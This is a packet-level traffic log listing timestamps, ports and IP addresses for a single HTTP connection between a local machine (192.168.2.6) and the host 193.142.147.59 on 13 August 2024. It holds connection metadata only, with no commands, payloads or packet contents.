Aug 13, 2024 10:21:11.770500898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.770526886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.771644115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.771656990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.771702051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.847282887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.847381115 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.847569942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.847604036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.847631931 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.847662926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.848584890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.848644972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.849335909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.849370003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.849390030 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.849416971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.850434065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.850466013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.850496054 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.850527048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.853782892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.853841066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.854010105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.854047060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.854068995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.854095936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.854660988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.854707956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.854762077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.855510950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.855551004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.855566025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.855598927 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.856358051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.856395006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.856414080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.856447935 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.857326984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.857366085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.857383966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.857398033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.857410908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.857443094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.858273983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.858309984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.858329058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.858355045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.859266996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.859302044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.859323025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.859357119 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.860141993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.860178947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.860208988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.860233068 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.860264063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.927416086 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.927479982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.927764893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.927799940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.927819967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.927845955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.928698063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.928755045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.928977966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.929080009 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.929579020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.929613113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.929666996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.930696964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.930754900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.934756041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.934814930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.935003996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.935038090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.935054064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.935087919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.935908079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.935941935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.935971022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.935980082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.936744928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.936778069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.936803102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.936817884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.937647104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.937681913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.937705994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.937788010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.938591003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.938627005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.938647032 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.938678026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.939553022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.939587116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.939640999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.940421104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.940455914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.940485001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.940507889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.941296101 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.941349983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.941509962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.941543102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.941561937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.941586971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.942382097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.942416906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.942436934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.942460060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.943136930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.943171024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.943222046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.943964958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.943998098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.944020033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.944040060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.944900036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.944935083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.944958925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.944979906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.945854902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.945888996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.945907116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.945940971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.946793079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.946825981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.946842909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.946866035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.947710037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.947743893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.947762966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.947777033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.947789907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.947824001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.948445082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.948478937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.948549986 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.949176073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.949212074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.949245930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.949265003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.949877977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.949913025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.949932098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.949956894 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.950654984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.950689077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.950700998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.950722933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:11.950737000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:11.950762987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.008074045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.008141041 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.008280993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.008316040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.008325100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.008361101 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.009031057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.009067059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.009090900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.009103060 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.015352011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.015399933 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.015582085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.015614986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.015631914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.015661955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.016352892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.016385078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.016408920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.016429901 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.017191887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.017225981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.017251015 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.017277002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.017808914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.017869949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.022291899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.022398949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.022516966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.022552013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.022567987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.022593975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.023092031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.023124933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.023145914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.023163080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.023765087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.023801088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.023817062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.023844957 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.024307013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.024339914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.024358988 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.024375916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.024982929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.025016069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.025033951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.025057077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.025679111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.025712967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.025727987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.025757074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.026339054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.026372910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.026398897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.026412964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.027004957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.027039051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.027059078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.027081013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.028996944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.029047966 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.029198885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.029233932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.029249907 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.029277086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.029828072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.029860973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.029881001 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.029903889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.030467033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.030499935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.030518055 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.030541897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.031028032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.031060934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.031080008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.031102896 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.031682968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.031716108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.031737089 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.031754971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.032413006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.032449007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.032464981 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.032515049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.033045053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.033077955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.033093929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.033119917 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.033694983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.033729076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.033746004 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.033761978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.033775091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.033804893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.034395933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.034431934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.034462929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.034482956 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.035039902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.035073042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.035090923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.035114050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.035696030 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.035728931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.035744905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.035778999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.036397934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.036434889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.036467075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.036468983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.036487103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.036510944 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.037053108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.037089109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.037106991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.037126064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.037724018 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.037758112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.037774086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.037800074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.038423061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.038458109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.038480043 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.038492918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.039040089 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.039057016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.039093018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.039110899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.039707899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.039724112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.039738894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.039760113 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.039778948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.040353060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.040369987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.040385008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.040405035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.040416002 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.040433884 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.041306019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.041322947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.041337013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.041357994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.041378021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.042273045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.042290926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.042304993 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.042320967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.042329073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.042340994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.042370081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.043209076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.043226004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.043240070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.043257952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.043277979 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.043940067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.043982029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.088845968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.088888884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.088911057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.088938951 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.095567942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.095623016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.095746994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.095782042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.095813036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.095824003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.096324921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.096357107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.096378088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.096390963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.096396923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.096438885 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.097275972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.097309113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:12.097323895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:12.097343922 CEST	80	49711	193.142.147.59	192.168.2.6
